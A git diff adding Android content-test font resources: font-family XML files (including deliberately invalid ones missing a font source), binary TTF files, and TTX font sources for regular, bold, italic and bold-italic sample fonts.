diff --git a/tests/tests/content/res/font/invalid_xmlfont_contains_invalid_font_file.xml b/tests/tests/content/res/font/invalid_xmlfont_contains_invalid_font_file.xml
new file mode 100644
index 0000000..68f4043
--- /dev/null
+++ b/tests/tests/content/res/font/invalid_xmlfont_contains_invalid_font_file.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+  <font android:fontStyle="normal" android:fontWeight="400" android:font="@font/invalid_font" />
+</font-family>
diff --git a/tests/tests/content/res/font/invalid_xmlfont_nosource.xml b/tests/tests/content/res/font/invalid_xmlfont_nosource.xml
new file mode 100644
index 0000000..6b70222
--- /dev/null
+++ b/tests/tests/content/res/font/invalid_xmlfont_nosource.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+  <!-- missing the android:font entry -->
+  <font android:fontStyle="normal" android:fontWeight="400" />
+</font-family>
diff --git a/tests/tests/content/res/font/sample_bold_family.xml b/tests/tests/content/res/font/sample_bold_family.xml
new file mode 100644
index 0000000..7c09f27
--- /dev/null
+++ b/tests/tests/content/res/font/sample_bold_family.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+    <font android:font="@font/sample_bold_font" />
+</font-family>
diff --git a/tests/tests/content/res/font/sample_bold_font.ttf b/tests/tests/content/res/font/sample_bold_font.ttf
new file mode 100644
index 0000000..de4cb7e
--- /dev/null
+++ b/tests/tests/content/res/font/sample_bold_font.ttf
Binary files differ
diff --git a/tests/tests/content/res/font/sample_bold_font_source.ttx b/tests/tests/content/res/font/sample_bold_font_source.ttx
new file mode 100644
index 0000000..5fcb8ce
--- /dev/null
+++ b/tests/tests/content/res/font/sample_bold_font_source.ttx
@@ -0,0 +1,186 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="500"/>
+    <usWeightClass value="700"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/> <!-- the last bit is for italic -->
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="500" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0">
+      <!-- FreeType treats empty table as missing table. Then if glyf table is missing, FreeType
+           treats the font as old Mac font and ignores OS/2 table. Thus needs outline here. -->
+      <contour>
+        <pt x="0" y="0" on="1"/>
+        <pt x="100" y="0" on="1"/>
+        <pt x="50" y="100" on="1"/>
+      </contour>
+      <instructions><assembly></assembly></instructions>
+    </TTGlyph>
+  </glyf>
+
+  <name>
+    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/content/res/font/sample_bolditalic_family.xml b/tests/tests/content/res/font/sample_bolditalic_family.xml
new file mode 100644
index 0000000..e467b38
--- /dev/null
+++ b/tests/tests/content/res/font/sample_bolditalic_family.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+    <font android:font="@font/sample_bolditalic_font" />
+</font-family>
diff --git a/tests/tests/content/res/font/sample_bolditalic_font.ttf b/tests/tests/content/res/font/sample_bolditalic_font.ttf
new file mode 100644
index 0000000..4a35061
--- /dev/null
+++ b/tests/tests/content/res/font/sample_bolditalic_font.ttf
Binary files differ
diff --git a/tests/tests/content/res/font/sample_bolditalic_font_source.ttx b/tests/tests/content/res/font/sample_bolditalic_font_source.ttx
new file mode 100644
index 0000000..37e97d8
--- /dev/null
+++ b/tests/tests/content/res/font/sample_bolditalic_font_source.ttx
@@ -0,0 +1,186 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="500"/>
+    <usWeightClass value="700"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000001"/> <!-- the last bit is for italic -->
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="500" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0">
+      <!-- FreeType treats empty table as missing table. Then if glyf table is missing, FreeType
+           treats the font as old Mac font and ignores OS/2 table. Thus needs outline here. -->
+      <contour>
+        <pt x="0" y="0" on="1"/>
+        <pt x="100" y="0" on="1"/>
+        <pt x="50" y="100" on="1"/>
+      </contour>
+      <instructions><assembly></assembly></instructions>
+    </TTGlyph>
+  </glyf>
+
+  <name>
+    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/content/res/font/sample_italic_family.xml b/tests/tests/content/res/font/sample_italic_family.xml
new file mode 100644
index 0000000..18a0a04
--- /dev/null
+++ b/tests/tests/content/res/font/sample_italic_family.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+    <font android:font="@font/sample_italic_font" />
+</font-family>
diff --git a/tests/tests/content/res/font/sample_italic_font.ttf b/tests/tests/content/res/font/sample_italic_font.ttf
new file mode 100644
index 0000000..1278e14
--- /dev/null
+++ b/tests/tests/content/res/font/sample_italic_font.ttf
Binary files differ
diff --git a/tests/tests/content/res/font/sample_italic_font_source.ttx b/tests/tests/content/res/font/sample_italic_font_source.ttx
new file mode 100644
index 0000000..870b35c
--- /dev/null
+++ b/tests/tests/content/res/font/sample_italic_font_source.ttx
@@ -0,0 +1,186 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="500"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000001"/>  <!-- the last bit is for italic -->
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="500" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0">
+      <!-- FreeType treats empty table as missing table. Then if glyf table is missing, FreeType
+           treats the font as old Mac font and ignores OS/2 table. Thus needs outline here. -->
+      <contour>
+        <pt x="0" y="0" on="1"/>
+        <pt x="100" y="0" on="1"/>
+        <pt x="50" y="100" on="1"/>
+      </contour>
+      <instructions><assembly></assembly></instructions>
+    </TTGlyph>
+  </glyf>
+
+  <name>
+    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/content/res/font/sample_regular_family.xml b/tests/tests/content/res/font/sample_regular_family.xml
new file mode 100644
index 0000000..7b4da4c
--- /dev/null
+++ b/tests/tests/content/res/font/sample_regular_family.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+    <font android:font="@font/sample_regular_font" />
+</font-family>
diff --git a/tests/tests/content/res/font/sample_regular_font.ttf b/tests/tests/content/res/font/sample_regular_font.ttf
new file mode 100644
index 0000000..8e3d602
--- /dev/null
+++ b/tests/tests/content/res/font/sample_regular_font.ttf
Binary files differ
diff --git a/tests/tests/content/res/font/sample_regular_font_source.ttx b/tests/tests/content/res/font/sample_regular_font_source.ttx
new file mode 100644
index 0000000..cffee51
--- /dev/null
+++ b/tests/tests/content/res/font/sample_regular_font_source.ttx
@@ -0,0 +1,186 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="500"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>  <!-- the last bit is for italic -->
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="500" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0">
+      <!-- FreeType treats empty table as missing table. Then if glyf table is missing, FreeType
+           treats the font as old Mac font and ignores OS/2 table. Thus needs outline here. -->
+      <contour>
+        <pt x="0" y="0" on="1"/>
+        <pt x="100" y="0" on="1"/>
+        <pt x="50" y="100" on="1"/>
+      </contour>
+      <instructions><assembly></assembly></instructions>
+    </TTGlyph>
+  </glyf>
+
+  <name>
+    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/content/res/font/samplexmlfont.xml b/tests/tests/content/res/font/samplexmlfont.xml
new file mode 100644
index 0000000..ebf5cd2
--- /dev/null
+++ b/tests/tests/content/res/font/samplexmlfont.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+    <font android:fontStyle="normal" android:fontWeight="400" android:font="@font/sample_regular_font" />
+</font-family>
\ No newline at end of file
diff --git a/tests/tests/content/res/values-b+fil+SA/configVarying.xml b/tests/tests/content/res/values-b+fil+SA/configVarying.xml
new file mode 100644
